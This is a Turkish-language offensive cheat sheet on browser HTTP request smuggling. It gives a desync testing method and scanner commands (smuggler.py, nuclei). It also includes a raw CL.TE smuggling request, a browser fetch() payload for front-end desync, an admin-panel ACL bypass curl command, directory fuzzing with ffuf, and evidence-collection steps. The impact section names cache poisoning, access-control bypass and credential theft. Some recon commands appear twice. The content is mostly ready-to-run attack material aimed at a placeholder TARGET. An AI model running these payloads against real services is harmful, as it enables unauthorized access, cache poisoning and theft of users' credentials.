Browser HTTP Request Smuggling

web smuggling

Browser HTTP Request Smuggling front-end ile back-end’in HTTP mesaj sınırlarını farklı yorumlamasından doğar. Desync ile istek kaçırma, cache poison ve ACL bypass denenir.

Metodoloji

1. Front-end/back-end parser farkını CL.TE/TE.CL ile test et.

2. Smuggler/nuclei ile desync sinyali yakala.

3. Poisoned request ile ACL/cache etkisini göster.

4. Tekrar üretilebilir PoC kaydet.

Desync tespiti

python3 smuggler.py -u https://TARGET

nuclei -u https://TARGET -tags smuggling -silent

POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G

Browser-powered smuggling

<script>fetch('https://TARGET/',{method:'POST',body:'...',mode:'no-cors'})</script>

tarayıcı H2/H1 farkı ile front-end desync

Etki senaryoları

admin paneli request smuggle, cache poison, bypass ACL, credential theft

curl -sk https://TARGET/admin -H 'Host: TARGET' -H 'X-Ignore: x'

Operasyon notları

Browser HTTP Request Smuggling sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.

Ek komutlar

curl -sk https://TARGET/robots.txt

nuclei -u https://TARGET -as -silent

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

GET / HTTP/1.1
Host: TARGET
Accept: */*

mkdir -p evidence/web && tee evidence/web/notes.txt

Bu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.

Ek keşif komutları

curl -sk https://TARGET/robots.txt

curl -sk https://TARGET/sitemap.xml

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

nuclei -u https://TARGET -as -silent

GET / HTTP/1.1
Host: TARGET
Accept: */*

Kanıt toplama

mkdir -p evidence/web && tee evidence/web/notes.txt

request/response
zaman damgası
kullanılan hesap
etki özeti

curl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html